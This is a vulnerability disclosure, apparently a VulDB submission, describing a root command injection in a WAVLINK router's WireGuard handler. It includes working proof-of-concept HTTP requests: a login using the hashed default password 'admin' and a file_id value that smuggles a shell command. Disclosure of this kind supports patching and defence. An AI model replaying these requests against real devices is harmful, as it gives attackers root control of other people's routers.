| Title | Wavlink Router Firmware V260403_2.0.0 Command Injection |
|---|
| Description | An authenticated command injection vulnerability (CWE-78) was identified in the WAVLINK WN553X1-B router (Model WN553X3B), firmware version V260403_2.0.0 (OpenWrt 21.02, aarch64 / MediaTek MT7981).
The web management interface consists of a lighttpd front-end (ports 80/443) that proxies *.csp requests to a back-end service, /bin/ioos, listening on 127.0.0.1:81 and running as root. The ioos dispatcher routes requests based on the "opt" parameter. The handler for opt=wireguard_cli (function sub_419DA8) takes the user-controlled "file_id" request parameter and, in the action=close branch, passes it to snprintf without any input validation or sanitization:
snprintf(buf, 0x200, "uci show wgclient | grep \"file_id='%s'\"", file_id);
popen(buf, "r"); // 0x419FC8
Because the user input is embedded inside double quotes, a file_id value such as a";COMMAND;" breaks out of the quoted string and injects an arbitrary OS command, which executes with root privileges and leads to full compromise of the device. Note: the response may report error 10001 because a subsequent operation fails, but the injected command has already been executed by that point.
Exploitation requires a valid session token, obtained via the opt=login endpoint by submitting usrid=SHA256(password). The factory-default web password is "admin" (hardcoded in /etc/config/winstar), so on devices where the password was never changed, the authentication requirement is effectively absent. Note: the ioos HTTP parser only processes parameters placed in the URL query string of POST requests, and the token is passed as the "token" URL parameter (bound to the client IP, 300-second validity).
Proof of concept:
Step 1 - login:
POST /protocol.csp?fname=system&opt=login&function=set&usrid=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
Response: { ..., "token": "<32 hex chars>", "error": 0 }
Step 2 - command injection (action=close is required to reach the vulnerable branch):
POST /protocol.csp?fname=system&opt=wireguard_cli&function=set&action=close&file_id=a%22%3B/usr/bin/id%3E/tmp/pwn%3B%22&name=a&status=1&token=<TOKEN>
Response: { "opt": "wireguard_cli", "fname": "system", "function": "set", "error": 10001 }
The file /tmp/pwn on the device then contains: uid=0(root) gid=0(root) groups=0(root)
The vulnerability was dynamically verified against the firmware emulated with qemu-aarch64 user-mode emulation; arbitrary commands were executed with root privileges. The same unsanitized file_id pattern exists in multiple sibling handlers in the same binary (e.g. wg_file, check_pwd, openvpn_cli).
|
|---|
| User | shuyi (UID 100431) |
|---|
| Submission | 08/08/2026 12:29 (3 months ago) |
|---|
| Moderation | 10/31/2026 21:14 (3 months later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 429598 [WAVLINK WN553X1-B V260403_2.0.0 WireGuard CLI /bin/ioos sub_419DA8 file_id os command injection] |
|---|
| Points | 20 |
|---|